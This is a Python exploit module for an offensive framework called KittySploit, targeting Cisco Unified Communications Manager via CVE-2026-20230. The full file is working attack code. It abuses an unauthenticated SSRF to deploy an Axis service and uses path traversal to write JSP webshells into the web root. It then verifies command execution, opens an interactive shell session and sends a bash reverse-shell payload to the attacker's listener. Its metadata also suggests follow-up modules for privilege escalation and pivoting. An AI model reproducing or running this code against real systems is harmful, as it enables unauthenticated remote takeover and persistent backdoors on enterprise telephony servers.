Cisco CUCM CVE-2026-20230 SSRF to arbitrary file write RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

import re
import time
import urllib.parse
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client

_AXIS2_WEB = "/platform-services/axis2-web"
_LOG_TRAVERSAL = "../../../../../../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web"
_CMD_SHELL_TRAVERSAL = "../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web"


class _JspCmdChannel:
    """Bridge the deployed JSP webshell into an interactive shell session."""

    def __init__(self, execute_fn):
        self.run_command = execute_fn


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Cisco CUCM CVE-2026-20230 SSRF to arbitrary file write RCE",
        "description": (
            "CVE-2026-20230 chains SSRF via /cmplatform/installClusterStatusExecute, "
            "Axis LogHandler arbitrary file write, and JSP webshell deployment to obtain "
            "remote command execution on Cisco Unified Communications Manager 15.0.1.13901-2. "
            "Opens an interactive HTTP command shell and optionally dispatches the selected "
            "reverse payload through the framework listener."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-20230"],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "references": [],
        "tags": [
            "cisco",
            "cucm",
            "ucm",
            "ssrf",
            "axis",
            "jsp",
            "file-write",
            "rce",
            "unauthenticated",
            "cve-2026-20230",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(443, "Target HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=True)
    hostname = OptString("", "Real CUCM hostname (skip WSDL discovery when set)", required=False)
    command = OptString("", "Command to execute instead of the selected payload", required=False)
    axis_service = OptString("randomR11", "Axis service name deployed via SSRF", required=False)
    webshell_name = OptString("aaa.jsp", "Initial file-write webshell filename", required=False)
    cmd_shell_name = OptString("c.jsp", "Command execution webshell filename", required=False)
    shell_pwd = OptString("123", "Password parameter for the command webshell", required=False)
    step_delay = OptFloat(0.5, "Seconds to wait between exploit stages", required=False, advanced=True)
    verify_rce = OptBool(True, "Verify command execution with an echo probe", required=False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._resolved_hostname: Optional[str] = None
        self._cmd_shell_path: Optional[str] = None
        self._session_connections: dict = {}

    def _service_headers(self) -> dict:
        return {
            "Referer": f"https://{self.target}:{self.port}/webdialer/services",
        }

    def _resolve_command(self) -> str:
        custom = str(self.command or "").strip()
        if custom:
            return custom
        raw = self.payload
        if isinstance(raw, bytes):
            return raw.decode("utf-8", errors="ignore")
        return str(raw or "").strip()

    def _shell_wrap(self, command: str) -> str:
        cmd = str(command or "").strip()
        if not cmd:
            return cmd
        if cmd.startswith("/") or cmd.startswith("bash ") or cmd.startswith("sh "):
            return cmd
        return f"/bin/sh -c {cmd!r}"

    def _get_hostname(self) -> Optional[str]:
        manual = str(self.hostname or "").strip()
        if manual:
            print_success(f"Using supplied hostname: {manual}")
            return manual

        print_status("Discovering real hostname via /webdialer/Version.jws?wsdl")
        response = self.http_request(
            method="GET",
            path="/webdialer/Version.jws",
            params={"wsdl": ""},
            timeout=10,
        )
        if not response or response.status_code != 200:
            print_error(
                f"Failed to fetch WSDL (HTTP {getattr(response, 'status_code', 'no response')})"
            )
            return None

        match = re.search(r'location="https?://([^"/]+)', response.text or "")
        if match:
            discovered = match.group(1)
            print_success(f"Hostname discovered: {discovered}")
            return discovered

        print_warning("Could not parse hostname from WSDL, falling back to target IP")
        return str(self.target)

    def _build_deployment_xml(self) -> str:
        service = str(self.axis_service or "randomR11")
        webshell = str(self.webshell_name or "aaa.jsp")
        return (
            '!--><deployment xmlns="http://xml.apache.org/axis/wsdd/" '
            'xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">'
            f'<service name="{service}" provider="java:RPC">'
            "<requestFlow>"
            '<handler type="java:org.apache.axis.handlers.LogHandler">'
            '<parameter name="LogHandler.fileName" '
            f'value="{_LOG_TRAVERSAL}/{webshell}"/>'
            '<parameter name="LogHandler.writeToConsole" value="false"/>'
            "</handler>"
            "</requestFlow>"
            '<parameter name="className" value="java.util.Random"/>'
            '<parameter name="allowedMethods" value="*"/>'
            "</service>"
            "</deployment"
        )

    def _ssrf_create_axis_service(self, hostname: str) -> bool:
        base_path = (
            f"{hostname}/webdialer/services/AdminService/platformcom/api/v1/"
            f"software/installstages/"
        )
        deployment_xml = self._build_deployment_xml()
        encoded_deployment = urllib.parse.quote(deployment_xml, safe="")
        payload_path = f"{base_path}?method={encoded_deployment}"
        hostname_param = urllib.parse.quote(payload_path, safe="")

        print_status("Creating Axis service via SSRF")
        # hostname is already double-encoded; append the query string manually so
        # requests does not percent-encode the payload again.
        query = (
            "action=clusterNodeInstallStatus"
            f"&hostname={hostname_param}"
            "&filename=bbbbbb"
        )
        response = self.http_request(
            method="GET",
            path=f"/cmplatform/installClusterStatusExecute?{query}",
            headers=self._service_headers(),
            timeout=15,
        )
        if not response:
            print_error("No response from SSRF endpoint")
            return False
        if response.status_code == 200:
            print_success("Axis service creation request accepted")
            return True

        print_error(f"Unexpected SSRF response: HTTP {response.status_code}")
        return False

    def _verify_axis_service(self) -> bool:
        service = str(self.axis_service or "randomR11")
        print_status(f"Checking for deployed Axis service {service}")
        response = self.http_request(
            method="GET",
            path="/webdialer/services",
            timeout=10,
        )
        if response and response.status_code == 200 and service in (response.text or ""):
            print_success(f"Axis service {service} is listed")
            return True
        print_warning(f"Could not confirm Axis service {service}")
        return False

    def _write_initial_webshell(self) -> bool:
        service = str(self.axis_service or "randomR11")
        webshell_code = (
            '<%if(request.getParameter("f")!=null)'
            '(new java.io.FileOutputStream('
            'application.getRealPath("/")+request.getParameter("f")))'
            '.write(request.getParameter("t").getBytes());%>'
        )
        payload = f"<![CDATA[\n{webshell_code}\n]]>"

        print_status(f"Writing initial webshell via /webdialer/services/{service}")
        response = self.http_request(
            method="GET",
            path=f"/webdialer/services/{service}",
            params={"method": "nextInt", "arg0": payload},
            headers=self._service_headers(),
            timeout=15,
        )
        if not response:
            print_error("No response while writing initial webshell")
            return False
        print_success("Initial webshell write request completed")
        return True

    def _build_cmd_shell_jsp(self) -> str:
        pwd = str(self.shell_pwd or "123")
        return (
            f'<% if("{pwd}".equals(request.getParameter("pwd")))' "{"
            " java.io.InputStream in = Runtime.getRuntime().exec("
            'request.getParameter("i")).getInputStream();'
            " int a = -1;"
            " byte[] b = new byte[2048];"
            ' out.print("<pre>");'
            " while((a=in.read(b))!=-1){ out.println(new String(b)); }"
            ' out.print("</pre>");'
            " } %>"
        )

    def _write_command_shell(self) -> bool:
        webshell = str(self.webshell_name or "aaa.jsp")
        cmd_shell = str(self.cmd_shell_name or "c.jsp")
        self._cmd_shell_path = f"{_AXIS2_WEB}/{cmd_shell}"

        print_status(f"Deploying command webshell at {self._cmd_shell_path}")
        response = self.http_request(
            method="GET",
            path=f"{_AXIS2_WEB}/{webshell}",
            params={
                "f": f"{_CMD_SHELL_TRAVERSAL}/{cmd_shell}",
                "t": self._build_cmd_shell_jsp(),
            },
            timeout=15,
        )
        if not response:
            print_error("No response while writing command webshell")
            return False
        print_success("Command webshell write request completed")
        return True

    def _parse_cmd_output(self, body: str) -> str:
        text = str(body or "")
        match = re.search(r"<pre>(.*?)</pre>", text, re.DOTALL | re.IGNORECASE)
        if match:
            return match.group(1).strip()
        return text.strip()

    def _execute_raw(self, command: str) -> Optional[str]:
        if not self._cmd_shell_path:
            self._cmd_shell_path = f"{_AXIS2_WEB}/{self.cmd_shell_name or 'c.jsp'}"

        response = self.http_request(
            method="GET",
            path=self._cmd_shell_path,
            params={
                "pwd": str(self.shell_pwd or "123"),
                "i": command,
            },
            timeout=20,
        )
        if not response:
            return None
        if response.status_code != 200:
            print_error(f"Command execution failed: HTTP {response.status_code}")
            return None
        return self._parse_cmd_output(response.text or "")

    def execute(self, cmd: str) -> str:
        wrapped = self._shell_wrap(cmd)
        output = self._execute_raw(wrapped)
        return output if output is not None else ""

    def check(self):
        try:
            print_info(f"Checking {self.target}:{self.port} for Cisco CUCM webdialer WSDL")
            response = self.http_request(
                method="GET",
                path="/webdialer/Version.jws",
                params={"wsdl": ""},
                timeout=10,
            )
            if not response:
                return {
                    "vulnerable": False,
                    "reason": "No HTTP response from /webdialer/Version.jws",
                    "confidence": "low",
                }

            body = (response.text or "").lower()
            if response.status_code == 200 and ("webdialer" in body or "wsdl" in body):
                return {
                    "vulnerable": True,
                    "reason": "CUCM webdialer WSDL endpoint is accessible",
                    "confidence": "medium",
                }

            return {
                "vulnerable": False,
                "reason": f"Unexpected response from WSDL endpoint (HTTP {response.status_code})",
                "confidence": "low",
            }
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {exc}",
                "confidence": "low",
            }

    def _deploy_chain(self) -> bool:
        self._resolved_hostname = self._get_hostname()
        if not self._resolved_hostname:
            return False

        if not self._ssrf_create_axis_service(self._resolved_hostname):
            return False

        if self.step_delay:
            time.sleep(float(self.step_delay))

        self._verify_axis_service()

        if not self._write_initial_webshell():
            return False

        if self.step_delay:
            time.sleep(float(self.step_delay))

        if not self._write_command_shell():
            return False

        if self.step_delay:
            time.sleep(float(self.step_delay))

        return True

    def _open_webshell_session(self) -> Optional[str]:
        if not self.framework or not hasattr(self.framework, "session_manager"):
            print_warning("Framework session manager unavailable; webshell session not registered")
            return None

        session_id = self.framework.session_manager.create_session(
            host=str(self.target),
            port=int(self.port),
            session_type="http_cmd",
            data={
                "protocol": "https" if self.ssl else "http",
                "uripath": self._cmd_shell_path,
                "platform": "linux",
                "exploit_module": "cisco_cucm_cve_2026_20230",
            },
        )
        self._session_connections[session_id] = _JspCmdChannel(self.execute)
        print_success(f"HTTP command shell session opened: {session_id}")
        print_info(f"Webshell path: {self._cmd_shell_path}")
        print_info("Use 'sessions -i <id>' for an interactive shell")
        return session_id

    def _dispatch_reverse_payload(self, command: str) -> None:
        if self.disablePayloadHandler:
            return
        if not command:
            print_warning("No reverse payload generated; only the HTTP command shell is available")
            return
        lhost = self.lhost
        lport = self.lport
        if lhost and lport:
            print_status(f"Dispatching reverse shell payload to {lhost}:{lport}")
        else:
            print_status("Dispatching reverse shell payload")
        self.execute(command)

    def run(self):
        print_info(f"Target: {self.target}:{self.port}")
        print_warning("CVE-2026-20230: SSRF -> Axis file write -> JSP command shell")

        if not self._deploy_chain():
            self.not_vulnerable()
            return False

        if self.verify_rce:
            token = self.random_text(10)
            probe = self.execute(f"echo {token}")
            if token not in probe:
                print_error("Echo verification failed; target may be patched or hostname incorrect")
                self.not_vulnerable()
                return False
            print_success("Command execution verified")

        session_id = self._open_webshell_session()
        if not session_id:
            self.not_vulnerable()
            return False

        payload_cmd = self._resolve_command()
        self._dispatch_reverse_payload(payload_cmd)
        self.vulnerable()
        return True